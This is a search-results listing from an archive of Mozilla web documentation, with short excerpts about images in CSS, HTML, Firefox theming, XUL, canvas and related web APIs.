the following css rules also need to be copied to the proper location in the browser.css file and modified as necessary: /* page proxy icon */ #page-proxy-favicon { width: 16px; height: 16px; margin: 1px 3px; list-style-image: url(chrome://browser/skin/identity-icons-generic.png); -moz-image-region: rect(0, 16px, 16px, 0); } .verifieddomain > #identity-box-inner > #page-proxy-stack > #page-proxy-favicon { list-style-image: url(chrome://browser/skin/identity-icons-https.png); } .verifiedidentity > #identity-box-inner > #page-proxy-stack > #page-proxy-favicon { list-style-image: url(chrome://browse...
...r/skin/identity-icons-https-ev.png); } #identity-box:hover > #identity-box-inner > #page-proxy-stack > #page-proxy-favicon { -moz-image-region: rect(0, 32px, 16px, 16px); } #identity-box:hover:active > #identity-box-inner > #page-proxy-stack > #page-proxy-favicon, #identity-box[open=true] > #identity-box-inner > #page-proxy-stack > #page-proxy-favicon { -moz-image-region: rect(0, 48px, 16px, 32px); } #page-proxy-favicon[pageproxystate="invalid"] { opacity: 0.5; } for more information about identity boxes please see the identity box section of the amo editors theme review guidelines no visual clue for disabled url bars there needs to be a visual clue when url bar is disabled.
...this issue is fixed by adding the following css instructions to the file browser/preferences/aboutpermissions.css: .site-favicon { height: 16px; width: 16px; -moz-margin-end: 4px; list-style-image: url("chrome://mozapps/skin/places/defaultfavicon.png"); } web developer tools web developer toolbar {to be added} web console web console buttons do not change appearance on the web console (tools > web developer > web console), the toolbar buttons on the left-hand side do not change their appearance between their toggled on and toggled off status as a result it is not possible to determin...
...And 4 more matches
Theme changes in Firefox 3 - Archive of obsolete content
instead a '-moz-margin-start' property must be added to .tab-drop-indicator-bar, with a value that is half of the width of the indicator image.
... mac os x file description of change browser/themes/pinstripe/browser/tabbrowser/tabdragindicator.png removed superfluous blank pixels from the edges, so that the image is smaller.
... browser/themes/pinstripe/browser/browser.css .tabbrowser-tab[first-tab="true"] > .tab-image-left no longer has a margin-left.
...And 4 more matches
background-size - Archive of obsolete content
user:jürgen jeka 2009-08-04 <hr> is there anyway to have the -moz-border-image only apply if -moz-background-size is not supported?
... i'm guessing not, just asking because having both rules in for 3.6 creates a strange effect: -moz-border-image gets inherited by every element on the page user:robertc 2009-08-08 -moz-border-image should not inherit.
...user:jürgen jeka 2009-08-09 ok, here's a page with both rules - the css is derived from the code on the page here, this is what it looks like in 3.6a2pre on linux, the background image appears on the whole page, and then again behind the main content.
...And 4 more matches
XForms Custom Controls - Archive of obsolete content
for example, you might want to render images that are held inside an instance document or you would like to show a disabled trigger when its bound node becomes irrelevant rather than having it not display (the current default behavior).
...for example, if mediatype='image/*' then the user should see the image that the bytes represent rather than just the byte sequence.
... xf|output[mediatype^="image"] { -moz-binding: url('chrome://xforms/content/xforms-xhtml.xml#xformswidget-output-mediatype-anyuri'); } custom data types if you define a new schema data type or you use a built-in data type and find the current xforms control for this type to be insufficient, then you should write a new custom control.
...And 4 more matches
Load the assets and print them on screen - Game development
loading the ball sprite loading images and printing them on our canvas is a lot easier using phaser than using pure javascript.
... to load the asset, we will use the game object created by phaser, executing its load.image() method.
... game.load.image('ball', 'img/ball.png'); } the first parameter we want to give the asset is the name that will be used across our game code — for example, in our ball variable name — so we need to make sure it is the same.
...And 4 more matches
CSS and JavaScript accessibility best practices - Learn web development
the following image shows the highlight in both firefox (a dotted outline) and chrome (a blue outline): you can be creative with link styles, as long as you keep giving users feedback when they interact with the links.
... simple content and functionality is arguably easy to make accessible — for example text, images, tables, forms and push button that activate functions.
...alt text for images.
...And 4 more matches
Fundamental CSS comprehension - Learn web development
starting point to get this assessment started, you should: go and grab the html file for the exercise, and the associated image file, and save them in a new directory on your local computer.
... if you want to use your own image file and fill your own name in, you are welcome to — just make sure the image is square.
...you could paste the html and fill in the css into one of these online editors, and use this url to point the <img> element to the image file.
...And 4 more matches
Test Your Skills: Fundamental layout comprehension - Learn web development
project brief you have been provided with some raw html, basic css, and images — now you need to create a layout for the design, which should look just like the image below.
... basic setup you can download the html, css, and a set of six images here.
... save the html document and stylesheet into a directory on your computer, and add the images into a folder named images.
...And 4 more matches
What will your website look like? - Learn web development
we'll start by creating a simple webpage with a heading, an image, and a few paragraphs.
...write a title and a few paragraphs and think of an image you'd like to show on your page.
... images to choose an image, go to google images and search for something suitable.
...And 4 more matches
imgIDecoder
modules/libpr0n/public/imgidecoder.idlscriptable base class for a decoder that reads an image from an input stream and sends it to an imgiloader object.
... inherits from: nsisupports last changed in gecko 1.7 this interface is the base class for decoders for specific image formats.
...init() initializes an image decoder.
...And 4 more matches
OffscreenCanvas.convertToBlob() - Web APIs
the offscreencanvas.converttoblob() method creates a blob object representing the image contained in the canvas.
... syntax promise<blob> offscreencanvas.converttoblob(options); parameters optionsoptional you can specify several options when converting your offscreencanvas object into a blob object, for example: const blob = offscreencanvas.converttoblob({ type: "image/jpeg", quality: 0.95 }); options: type: a domstring indicating the image format.
... the default type is image/png.
...And 4 more matches
OffscreenCanvas.convertToBlob() - Web APIs
the offscreencanvas.converttoblob()method creates a blob object representing the image contained in the canvas.
... syntax promise<blob> offscreencanvas.converttoblob(options); parameters optionsoptional you can specify several options when converting your offscreencanvas object into a blob object, for example: const blob = offscreencanvas.converttoblob({ type: "image/jpeg", quality: 0.95 }); options: type: a domstring indicating the image format.
... the default type is image/png.
...And 4 more matches
OffscreenCanvas.convertToBlob() - Web APIs
the offscreencanvas.converttoblob() method creates a blob object representing the image contained in the canvas.
... syntax promise<blob> offscreencanvas.converttoblob(options); parameters options optional you can specify several options when converting your offscreencanvas object into a blob object, for example: const blob = offscreencanvas.converttoblob({ type: "image/jpeg", quality: 0.95 }); options: type: a domstring indicating the image format.
... the default type is image/png.
...And 4 more matches
WebGLRenderingContext - Web APIs
webglrenderingcontext.framebuffertexture2d() attaches a textures image to a webglframebuffer object.
... webglrenderingcontext.compressedteximage2d() specifies a 2d texture image in a compressed format.
... webglrenderingcontext.compressedtexsubimage2d() specifies a 2d texture sub-image in a compressed format.
...And 4 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
note: most diagrams used in this article to show how the camera moves while performing standard movements was taken from an article on the filmmakeriq web site; namely, from this image which is found all over the web, however, and though we assume these are under a permissive license due to their frequent reuse, ownership is not certain.
...or, if you're happy to let us continue to use the images, please let us know so we can credit you properly!
... when accelerating bitmapped graphics, the renderer would draw the 2d image into a webgl texture's buffer, then redraw the texture to refresh the screen.
...And 4 more matches
XRSession.environmentBlendMode - Web APIs
the xrsession interface's read-only environmentblendmode property identifies if—and to what degree—the computer-generated imagery is overlaid atop the real world.
... this is used to differentiate between fully-immersive vr sessions and ar sessions which render over a pass-through image of the real world, possibly partially transparently.
... syntax blendmode = xrsession.environmentblendmode; value a domstring whose value is one of the strings found in the enumerated type xrenvironmentblendmode, defining if—and if so, how—virtual, rendered content is overlaid atop the image of the real world.
...And 4 more matches
-webkit-box-reflect - CSS: Cascading Style Sheets
<image> describes the mask to be applied to the reflection.
...<image>?where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
... [ <image-src>?
...And 4 more matches
prefix - CSS: Cascading Style Sheets
it may be a <string>, <image>, or <custom-ident>.
... formal definition related at-rule@counter-styleinitial value"" (the empty string)computed valueas specified formal syntax <symbol>where <symbol> = <string> | <image> | <custom-ident>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
... [ <image-src>?
...And 4 more matches
suffix - CSS: Cascading Style Sheets
it may be a <string>, <image>, or <custom-ident>.
..." (full stop followed by a space)computed valueas specified formal syntax <symbol>where <symbol> = <string> | <image> | <custom-ident>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
... [ <image-src>?
...And 4 more matches
Box-shadow generator - CSS: Cascading Style Sheets
; font-size: 16px; font-family: "segoe ui", arial, helvetica, sans-serif; line-height: 1.5em; color: #fff; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height: 1em; background-color: #888; background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png"); background-position: center center; background-repeat: no-repeat; color: #fff; border-radius: 3px; font-weight: bold; float: left; } .ui-checkbox .text { padding-left: 34px; background-position: center left 10px; } .ui-checkbox .left { padding-right: 34px; padding-left: 1.666em; background-position: center right 10px; } ...
....ui-checkbox > label:hover { cursor: pointer; } .ui-checkbox > input:checked + label { background-image: url("https://mdn.mozillademos.org/files/5681/checked.png"); background-color: #379b4a; } /* * box shadow generator tool */ body { max-width: 1000px; height: 800px; margin: 20px auto 0; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; } #container { width: 100%; padding: 2px; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /* container with shadows stacks */ #stack_container { height: 400px; overflow: hidden; position: relative; border: 1px solid #ccc; borde...
...1.5em; border: 1px solid #ccc; border-radius: 3px; display: block; background-position: center center; background-repeat: no-repeat; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; float: left; } #layer_manager .button:hover { background-color: #3380c4; border: 1px solid #3380c4; cursor: pointer; } #layer_manager [data-type='add'] { background-image: url("https://mdn.mozillademos.org/files/5685/add-black.png"); } #layer_manager [data-type='add']:hover { background-image: url("https://mdn.mozillademos.org/files/5687/add-white.png"); } #layer_manager [data-type='move-up'] { background-image: url("https://mdn.mozillademos.org/files/5697/up-black.png"); margin-left: 5%; margin-right: 5%; } #layer_manager [data-type='move-up']:hover { bac...
...And 4 more matches
mask-border - CSS: Cascading Style Sheets
-width syntax /* source | slice */ mask-border: url('border-mask.png') 25; /* source | slice | repeat */ mask-border: url('border-mask.png') 25 space; /* source | slice | width */ mask-border: url('border-mask.png') 25 / 35px; /* source | slice | width | outset | repeat | mode */ mask-border: url('border-mask.png') 25 / 35px / 12px space alpha; values <'mask-border-source'> the source image.
... <'mask-border-slice'> the dimensions for slicing the source image into regions.
... <'mask-border-repeat'> defines how the edge regions of the source image are adjusted to fit the dimensions of the border mask.
...And 4 more matches
HTML attribute reference - HTML: Hypertext Markup Language
alt <applet>, <area>, <img>, <input> alternative text in case an image can't be displayed.
... background <body>, <table>, <td>, <th> specifies the url of an image file.
...use css background-image instead.
...And 4 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
WebHTMLElementvideo
crossorigin this enumerated attribute indicates whether to use cors to fetch the related image.
...if the server does not give credentials to the origin site (by not setting the access-control-allow-origin: http header), the image will be tainted, and its usage restricted.
...if the server does not give credentials to the origin site (through access-control-allow-credentials: http header), the image will be tainted and its usage restricted.
...And 4 more matches
icons - Web app manifests
type array mandatory yes the icons member specifies an array of objects representing image files that can serve as application icons for different contexts.
... examples "icons": [ { "src": "icon/lowres.webp", "sizes": "48x48", "type": "image/webp" }, { "src": "icon/lowres", "sizes": "48x48" }, { "src": "icon/hd_hi.ico", "sizes": "72x72 96x96 128x128 256x256" }, { "src": "icon/hd_hi.svg", "sizes": "72x72" } ] values image objects may contain the following values: member description sizes a string containing space-separated image dimensions.
... src the path to the image file.
...And 4 more matches
Performance fundamentals - Web Performance
text and images reflow automatically, ui elements automatically receive the system theme, and the system provides "built-in" support for some use cases developers may not think of initially, like different-resolution displays or right-to-left languages.
...many years of improvements targeting this content, like parallel html parsing, intelligent scheduling of reflows and image decoding, clever layout algorithms, etc., translate just as well to improving web applications on firefox.
... for example, to paint an application's first frame that comprises visually some html and css to style that html: the html must be parsed the dom for that html must be constructed resources like images in that part of the dom have to be loaded and decoded the css styles must be applied to that dom the styled document has to be reflowed nowhere in that list is "load the js file needed for an uncommon menu"; "fetch and decode the image for the high scores list", etc.
...And 4 more matches
Lazy loading - Web Performance
while image size has increased from ~250kb to ~900kb on desktop and ~100kb to ~850kb on mobile.
... a practical example would be when, you land on the home page of an e-commerce site which has a link to a cart page/section and all its resources (js, css, images...) are downloaded only when the user navigates to that cart page.
... see also: element link images and iframes very often, webpages contain many images that contribute to data-usage and how fast a page can load.
...And 4 more matches
Customizing the download progress bar - Archive of obsolete content
the myextension.css file will look something like this: richlistitem progressmeter { %ifdef xp_win min-height: 17px !important; %else %ifdef xp_macosx -moz-appearance: none !important; background-image: url(chrome://myextension/skin/progress_bg_osx.png) !important; %endif %endif } richlistitem .progress-bar { %ifdef xp_win -moz-appearance: none !important; background-image: url(chrome://myextension/skin/progress_fd_win.png) !important; %else %ifdef xp_macosx background-image: url(chrome://myextension/skin/progress_fd_osx.gif) !important; %endif %endif } note: this file o...
...we are specifying the height of the progress meter on windows and a background image on mac.
... the background image (the first one in the file) should be a segment of whatever you want the unfilled portion of the progress bar to look like.
...And 3 more matches
Using Dependent Libraries In Extension Components - Archive of obsolete content
dependant libraries on the mac must be loaded with a special system function nsaddimage() with the flag nsaddimage_option_match_filename_by_installname.
... instead, we use nsaddimage.
... nsaddimage(path.get(), nsaddimage_option_return_on_error | nsaddimage_option_with_searching | nsaddimage_option_match_filename_by_installname); // 1) we don't care if this failed!
...And 3 more matches
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
the breakdown: 1 master screen media file which imports 4 files: a base file (bulk of formatting) a file for finance/table formatting color file (override colors and background images for specific color scheme) temp file (used for styles associated with temporary features and ad-related pages) 1 print media file 1 aural media file 3 master alternate style sheets which import 1 file each the 3 imported files set alternate font sizes (small, large, larger) how much did the size of a typical wired news page shrink?
... the html went from 32 kb down to 19 kb, but images increased from 8 to 13 kb.
... we've noted that some of the file size comparison's aren't necessarily fair, because we're not comparing apples to apples-- we're comparing an old design using html, tables, and spacer gifs to a new design much richer in imagery and style.
...And 3 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
r any other xml or xhtml mimetype for any "doctype html system" doctype (for example, <!doctype html system "http://www.w3.org/tr/rec-html40/strict.dtd">), except for the ibm doctype for unknown doctypes or doctypes without dtds almost standards mode mozilla introduced almost standards mode for one reason: a section in the css 2 specification breaks designs based on a precise layout of small images in table cells.
... instead of forming one image to the user, each small image ends up with a gap next to it.
...image gap almost standards mode behaves almost exactly as standards mode, except when it comes to an image gap issue.
...And 3 more matches
Extensions - Archive of obsolete content
for instance, if an image was context clicked, you may wish to hide the menu item you have added if the operation it performed wouldn't apply to images.
...this function retrieves the menuitem with the id 'thumbnail-show' that was added by the extension and hides it if an image was not the target of the context menu.
... onimage true if the target is an image.
...And 3 more matches
Multiple Queries - Archive of obsolete content
es="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <queryset> <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> <action> <button uri="?photo" image="?photo" label="view" orient="vertical"/> </action> </queryset> <queryset> <query> <content uri="?start"/> <member container="?start" child="?photo"/> </query> <action> <image uri="?photo" src="?photo"/> </action> </queryset> </template> </hbox> this template contains two queries, the first contains a <triple> which matches only...
...in fact, the content for this photo is that of the first query with the button, whereas the content for the other photos are that of the second query with the normal images.
...here are the results that would be generated by the first query above, before any bindings are applied: (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg, then, the builder adds the three results generated from the second query: (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/...
...And 3 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
arch, autocompletesearchparam, completedefaultindex, completeselectedindex,crop, disableautocomplete, disabled, disablekeynavigation, enablehistory, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputtooltiptext, label, maxlength, maxrows, minresultsforpopup, nomatch, onchange, oninput, onsearchcomplete, ontextentered, ontextreverted, open, readonly,showcommentcolumn, showimagecolumn, size, tabindex, tabscrolling, timeout, type, value properties accessibletype, completedefaultindex, controller, crop, disableautocomplete, disablekeynavigation, disabled, editable, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputfield, label, maxlength, maxrows, minresultsforpopup, open, popup, popupopen, searchcount, searchparam, selectionend, selecti...
...onstart, showcommentcolumn, showimagecolumn,size, tabindex, tabscrolling, textlength, textvalue, timeout, type, value methods getsearchat, onsearchcomplete, ontextentered, ontextreverted, select, setselectionrange examples <textbox type="autocomplete" autocompletesearch="history"/> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
... showimagecolumn type: boolean if true, an image column appears in the popup.
...And 3 more matches
Writing Skinnable XUL and CSS - Archive of obsolete content
each package has its own skin, css files and images that determine the appearance of that package.
... image chrome urls should never occur in xul.
... any chrome url that references an image in the skin is strictly forbidden in the xul.
...And 3 more matches
button - Archive of obsolete content
attributes accesskey, autocheck, checkstate, checked, command, crop, dir, disabled, dlgtype, group, icon, image, label, open, orient, tabindex, type properties accesskey, accessibletype, autocheck, checkstate, checked, command, crop, dir, disabled, dlgtype, group, image, label, open, orient, tabindex, type examples <button label="press me" oncommand="alert('you pressed me!');"/> attributes accesskey type: character this should be set to a character that is used as a shortcut ...
...this should be used in place of the image attribute.
... image type: uri the uri of the image to appear on the element.
...And 3 more matches
Extentsions FAQ - Archive of obsolete content
"); var replaceme = document.getelementbyid("replaceme"); replaceme.parentnode.replacechild(newnode, replaceme); is it possible to place an image in the window that can be moved to anywhere in the window, and always remain on top of everything else?(similiar to using position:absolute and-index:100000 in html) you can almost do this with a stack: <window ...> <stack flex="1"> <image top="40" left="80"/> <vbox> other content here </vbox> </stack> </window> the only restriction is that your image ca...
... simply position the image and it will no longer be stretched to the size of the stack.
... <image left="0" top="0"> would seem to suffice.
...And 3 more matches
Browser Feature Detection - Archive of obsolete content
true true document.createattribute() true true true document.getelementsbytagname() true true true document.title true true true document.referrer true true true document.domain true true true document.url true true true document.body true true true document.images true true true document.applets true true true document.links true true true document.forms true true true document.anchors true true true document.cookie true true true document.open() true true true document.close() true true true document.write() t...
...lementbyid() true true true document.getelementsbyname() true true true dom css 1 support for properties/methods in document.body.style name firefox 1.5 ie 6 & 7 opera 8.54 - 9.01 background true true true backgroundattachment true true true backgroundcolor true true true backgroundimage true true true backgroundrepeat true true true border true true true borderspacing true false true borderstyle true true true bordertop true true true borderright true true true borderbottom true true true borderleft true true true borde...
...ontfamily true true true fontsize true true true fontstyle true true true fontvariant true true true fontweight true true true height true true true letterspacing true true true lineheight true true true liststyle true true true liststyleimage true true true liststyleposition true true true liststyletype true true true margin true true true margintop true true true marginright true true true marginbottom true true true marginleft true true true padding true true true paddingto...
...And 3 more matches
Explaining basic 3D theory - Game development
texture: a 2d image that the vertex can use to decorate the surface it is part of instead of a simple color.
...the geometry is built from a vertex and the face, while material is a texture, which uses a color or an image.
... rendering pipeline the rendering pipeline is the process by which images are prepared and output onto the screen.
...And 3 more matches
Square tilemaps implementation: Static maps - Game development
note: when writing this article, we assumed previous reader knowledge of canvas basics such as how get a 2d canvas context, load images, etc., which is all explained in the canvas api tutorial, as well as the basic information included in our tilemaps introduction article.
... the tile atlas a tilemap might use one or several atlases — or spritesheets — that contain all of the tile images.
... this is the atlas we will be using as an example, which features five different tiles: to draw a tile from the atlas into the canvas we make use of the drawimage() method in a canvas 2d context.
...And 3 more matches
Plug-in Development Overview - Gecko Plugin API Reference
a mime type is made up of a major type (such as application or image) and a minor type, for example, image/jpeg.
...until your new mime type is registered, preface its name with "x-", for example, image/x-nwim.
...ll should contain the following set of string/value pairs: mimetype: for mime types fileextents: for file extensions fileopenname: for file open template productname: for plug-in name filedescription: for description language: for language in use in the mime types and file extensions strings, multiple values are separated by the "|" character, for example: video/quicktime|audio/aiff|image/jpeg the version stamp will be loaded only if it has been created with the language set to "us english" and the character set to "windows multilingual" in your development environment.
...And 3 more matches
Styling tables - Learn web development
to start with, make a local copy of the sample markup, download both images (noise and leopardskin), and put the three resulting files in a working directory somewhere on your local computer.
...by default, when you set borders on table elements, they will all have spacing between them, as the below image illustrates: this doesn't look very nice (although it might be the look you want, who knows?) with border-collapse: collapse; set, the borders collapse down into one, which looks much better: we've put a border around the whole table, which is needed because we'll be putting some borders round the table header and footer later on — it looks really odd and disjointed when you don't have a bor...
... we've added a background-image to the <thead> and <tfoot>, and changed the color of all the text inside the header and footer to white (and given it a text-shadow) so it is readable.
...And 3 more matches
Positioning - Learn web development
overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p { background: aqua; border: 3px solid blue; padding: 10px; margin: 10px; } span { background: red; border: 1px solid black; } .positioned { position: relative; background: yellow; top: 30px; left: 30px; } cool, huh?
...overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p { background: aqua; border: 3px solid blue; padding: 10px; margin: 10px; } span { background: red; border: 1px solid black; } .positioned { position: absolute; background: yellow; top: 30px; left: 30px; } first of all, note that the gap where th...
...overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; position: relative; } p { background: aqua; border: 3px solid blue; padding: 10px; margin: 10px; } span { background: red; border: 1px solid black; } .positioned { position: absolute; background: yellow; top: 30px; left: 30px; } the positioned ele...
...And 3 more matches
From object to iframe — other embedding technologies - Learn web development
previous overview: multimedia and embedding next by now you should really be getting the hang of embedding things into your web pages, including images, video and audio.
...most content is copyrighted, offline and online, even content you might not expect (for example, most images on wikimedia commons).
... the <embed> and <object> elements the <embed> and <object> elements serve a different function to <iframe> — these elements are general purpose embedding tools for embedding multiple types of external content, which include plugin technologies like java applets and flash, pdf (which can be shown in a browser with a pdf plugin), and even content like videos, svg and images!
...And 3 more matches
Multimedia and Embedding - Learn web development
this module explores how to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire webpages.
... images in html there are other types of multimedia to consider, but it is logical to start with the humble <img> element used to embed a simple image in a webpage.
... in this article we'll look at how to use it in more depth, including basics, annotating it with captions using <figure>, and how it relates to css background images.
...And 3 more matches
Making asynchronous programming easier with async and await - Learn web development
status: ${response.status}`); } else { return response.blob(); } }) .then(myblob => { let objecturl = url.createobjecturl(myblob); let image = document.createelement('img'); image.src = objecturl; document.body.appendchild(image); }) .catch(e => { console.log('there has been a problem with your fetch operation: ' + e.message); }); by now, you should have a reasonable understanding of promises and how they work, but let's convert this to use async/await to see how much simpler it makes things: async function myfetch() { let r...
...status: ${response.status}`); } else { let myblob = await response.blob(); let objecturl = url.createobjecturl(myblob); let image = document.createelement('img'); image.src = objecturl; document.body.appendchild(image); } } myfetch() .catch(e => { console.log('there has been a problem with your fetch operation: ' + e.message); }); it makes code much simpler and easier to understand — no more .then() blocks everywhere!
...status: ${response.status}`); } else { return await response.blob(); } } myfetch().then((blob) => { let objecturl = url.createobjecturl(blob); let image = document.createelement('img'); image.src = objecturl; document.body.appendchild(image); }).catch(e => console.log(e)); you can try typing in the example yourself, or running our live example (see also the source code).
...And 3 more matches
Introducing asynchronous JavaScript - Learn web development
when you fetch an image from a server, you can't return the result immediately.
... that means that the following (pseudocode) wouldn't work: let response = fetch('myimage.png'); let blob = response.blob(); // display your image blob in the ui somehow that's because you don't know how long the image will take to download, so when you come to run the second line it will throw an error (possibly intermittently, possibly every time) because the response is not yet available.
...let's look at another example that loads a resource via the xmlhttprequest api (run it live, and see the source): function loadasset(url, type, callback) { let xhr = new xmlhttprequest(); xhr.open('get', url); xhr.responsetype = type; xhr.onload = function() { callback(xhr.response); }; xhr.send(); } function displayimage(blob) { let objecturl = url.createobjecturl(blob); let image = document.createelement('img'); image.src = objecturl; document.body.appendchild(image); } loadasset('coffee.jpg', 'blob', displayimage); here we create a displayimage() function that simply represents a blob passed to it as an object url, then creates an image to display the url in, appending it to the document's <body>.
...And 3 more matches
Perceived performance - Learn web development
first contentful paint (fcp) reports the time when the browser first rendered anything of signifigance, be that text, foreground or background image, or a canvas or svg; capturing the very beginning of the loading experience.
... to minimize the assets required for initial load, separate interactive functionality from content so that required content -- the text, styles, and images visible at initial load -- can be loaded first.
... don't load images or scripts that aren’t used or visible on the initial page load.
...And 3 more matches
Strategies for carrying out testing - Learn web development
to use a virtual box, you need to: get hold of an installer disk or image (e.g.
...you'll: provide a name for the new virtual machine choose which operating system and version you are installing on it set how much ram should be allocated (we'd recommend something like 2048mb, or 2gb) create a virtual hard disk (choose the default options across the three dialog boxes containing create a virtual hard disk now, vdi (virtual disk image), and dynamically allocated).
...at this point you need to point the dialog box at the installer image/disk, and it will run through the steps to install the os just like on a physical machine.
...And 3 more matches
Embedding API for Accessibility
e); to manually add a pref to your settings, add a line like the following to your prefs.js: user_pref("accessibility.browsewithcaret", true); accessibility prefs reference the following is a description of what accessibility prefs give us (or will give us), for accessibility: functionality implementation works as of images setintpref("network.image.imagebehavior", behavior); /* behavior: 0=accept, 1=accept images from originating server only, 2=no images */ moz 0.8 cookies setintpref("network.cookie.cookiebehavior", behavior); /* behavior: 0=accept, 1=accept cookies f...
...abcdef" /* hex color value */); setcharpref("browser.display.background_color", "#abcdef" /* hex color value */); setboolpref("browser.display.use_system_colors", boolsystemcolors); setboolpref("browser.display.use_document_colors", booluseauthorcolors); /* setting use_document_colors also stops background images from loading */ moz 0.8 link appearance setcharpref("browser.anchor_color", "#abcdef" /* hex color value */); setcharpref("browser.visited_color", "#abcdef" /* hex color value */); setboolpref("browser.underline_anchors", boolunderlinelinks); moz 0.8 ...
...it's a w3c uaag requirement */ setboolpref("browser.selection.use_system_colors", usesystemcolors); no content waiting alerts setcharpref("alert.audio.mail_waiting", pathtosoundfile); setcharpref("alert.audio.background_image_waiting", pathtosoundfile); setcharpref("alert.audio.popup_waiting", pathtosoundfile); setcharpref("alert.audio.applet_waiting", pathtosoundfile); setcharpref("alert.audio.script_waiting", pathtosoundfile); setcharpref("alert.audio.redirect_waiting", pathtosoundfile); setcharpref("al...
...And 3 more matches
Building the WebLock UI
the overlay section, where we discuss how to import scripts, images, and other resources from mozilla into your own ui, is by far the more complicated of the two.
... statusbarpanel#weblock-status { list-style-image: url("chrome://weblock/wlock.gif"); } statusbarpanel#weblock-status[status="locked"] { list-style-image: url("chrome://weblock/wl-lock.gif"); } statusbarpanel#weblock-status[status="unlocked"] { list-style-image: url("chrome://weblock/wl-un.gif"); } the style rules are distinguished by the state of the status attribute on the element in the xul with the id "weblock-status." as you can see...
... above, when the status of the element is set to "locked", the image wl-lock.gif is used to show the state, and when the web locking is unlocked, it uses wl-un.gif.
...And 3 more matches
mozIColorAnalyzer
toolkit/components/places/mozicoloranalyzer.idlscriptable provides methods to analyze colors in an image 1.0 66 introduced gecko 17.0 inherits from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) method overview void findrepresentativecolor(in nsiuri imageuri, in mozirepresentativecolorcallback callback); methods findrepresentativecolor() given an image uri, find the most representative color for that image based on the frequency of each color.
...this is intended to be used on favicon images.
... larger images take longer to process, especially those with a larger number of unique colors.
...And 3 more matches
nsITreeView
fer); astring getcellproperties(in long row, in nsitreecolumn col, in nsisupportsarray properties obsolete since gecko 22); astring getcelltext(in long row, in nsitreecolumn col); astring getcellvalue(in long row, in nsitreecolumn col); astring getcolumnproperties(in nsitreecolumn col, in nsisupportsarray properties obsolete since gecko 22); astring getimagesrc(in long row, in nsitreecolumn col); long getlevel(in long index); long getparentindex(in long rowindex); long getprogressmode(in long row, in nsitreecolumn col); astring getrowproperties(in long index, in nsisupportsarray properties obsolete since gecko 22); boolean hasnextsibling(in long rowindex, in long afterindex); boolean iscontainer(i...
...if a column consists only of an image, then the empty string is returned.
... getimagesrc() the image path for a given cell.
...And 3 more matches
Plug-in Development Overview - Plugins
a mime type is made up of a major type (such as application or image) and a minor type, for example, image/jpeg.
...until your new mime type is registered, preface its name with "x-", for example, image/x-nwim.
...ll should contain the following set of string/value pairs: mimetype: for mime types fileextents: for file extensions fileopenname: for file open template productname: for plug-in name filedescription: for description language: for language in use in the mime types and file extensions strings, multiple values are separated by the "|" character, for example: video/quicktime|audio/aiff|image/jpeg the version stamp will be loaded only if it has been created with the language set to "us english" and the character set to "windows multilingual" in your development environment.
...And 3 more matches
CSS Painting API - Web APIs
concepts and usage essentially, the css painting api contains functionality allowing developers to create custom values for paint(), a css <image> function.
... you can then apply these values to properties like background-image to set complex custom backgrounds on an element.
... for example: aside { background-image: paint(mypaintedimage); } the api defines paintworklet, a worklet that can be used to programmatically generate an image that responds to computed style changes.
...And 3 more matches
Optimizing canvas - Web APIs
you can then render the offscreen image to your primary canvas as often as needed, without unnecessarily repeating the steps needed to generate it in the first place.
... mycanvas.offscreencanvas = document.createelement('canvas'); mycanvas.offscreencanvas.width = mycanvas.width; mycanvas.offscreencanvas.height = mycanvas.height; mycanvas.getcontext('2d').drawimage(mycanvas.offscreencanvas, 0, 0); avoid floating-point coordinates and use integers instead sub-pixel rendering occurs when you render objects on a canvas without whole values.
... ctx.drawimage(myimage, 0.3, 0.5); this forces the browser to do extra calculations to create the anti-aliasing effect.
...And 3 more matches
ContentIndex.add() - Web APIs
WebAPIContentIndexadd
